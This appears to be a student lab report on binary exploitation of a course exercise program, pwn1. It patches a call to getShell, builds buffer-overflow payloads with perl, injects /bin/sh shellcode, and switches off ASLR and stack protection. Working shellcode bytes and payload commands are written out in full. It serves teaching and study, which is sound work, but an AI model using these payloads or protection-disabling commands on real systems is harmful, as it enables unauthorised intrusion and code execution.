Exp1 PC平台逆向破解(5)M

1.实验目的:

1.1能正确修改机器指令改变程序执行流程

1.2能正确修改机器指令改变程序执行流程

1.3能正确构造payload进行bof攻击

2.基础知识:

2.1NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)  段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF)  段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

3.实验内容:

3.1直接修改程序机器指令,改变程序执行流程

首先下载作业文件pwn1:

对其进行反汇编,找到其核心代码:

使用如下代码:
objdump -d pwn1 | more

  • 先看第12行,"call 8048491 "是汇编指令

    • 是说这条指令将调用位于地址8048491处的foo函数;
    • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
      • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
  • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

    • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
    • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
  • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

root@KaliYL:~# cp pwn1 pwn20201224
root@KaliYL:~# vi pwn20201224
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq



再次反汇编查看修改后call指令是否正确调用getShell:

objdump -d pwn20201224 | more

运行修改后的代码测试:

16进制编程器的使用:

apt-get install wxhexeditor
wxHexEditor

3.2通过构造输入参数,造成BOF攻击,改变程序执行流

1.安装gdb

2.确认输入字符串哪几个字符会覆盖到返回地址

如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

3.确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
对比之前 eip 0x34333231 0x34333231 ,根据小端优先原则,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08

4.构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。

输入“perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input”,使用16进制查看指令xxd查看input文件的内容是否如预期。

3.3注入Shellcode并执行

1.准备一段Shellcode

shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

2.安装prelink并修改配置

execstack -s pwn20201224    //设置堆栈可执行
execstack -q pwn20201224    //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

用more /proc/sys/kernel/randomize_va_space查看是否已关闭地址随机化,若返回0,则已关闭地址随机化

3.构造要注入的payload

Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
--

我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn20201224

再开另外一个终端,用gdb来调试pwn1这个进程。
通过指令“ps -ef | grep pwn20201224"确定进程号为3149,然后开始gdb调试。



将1234位置的地址加上4字节(shellcode挨在缓冲
区的后面)即可得到shellcode的地址0xffffd500,所以将0xffffd500替换1234,便可令shellcode的地址覆盖ret返回地址,所以此处输入的shellcode应为:
perl -e 'print "A" x 32;print "\x00\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

4.遇到问题与解决

问题1:堆栈的不可执行

问题2:使用gdb进行attach执行文件的进程号失败
解决办法:执行文件的时候直接回车了,应该执行文件之后不对文件进行操作,直接用另一个终端查看其进程号

5.实践总结与体会

本次实验让我对缓冲区溢出有了更深的了解。通过不断的查找资料,观看云班课教程学习视频,在不断的摸索下完成实验,提升了自己的实践能力,加强了对反汇编、通过构造输入参数,造成BOF攻击,改变程序执行流、构造payload进行bof攻击的学习理解。让我对溢出攻击有了更加深刻的理解,由于程序没有仔细检查用户输入的参数而造成程序被篡改,这可能会带来非常严重的后果。

posted @ 2023-03-15 21:42  20201224吴卓航  阅读(64)  评论(0)    收藏  举报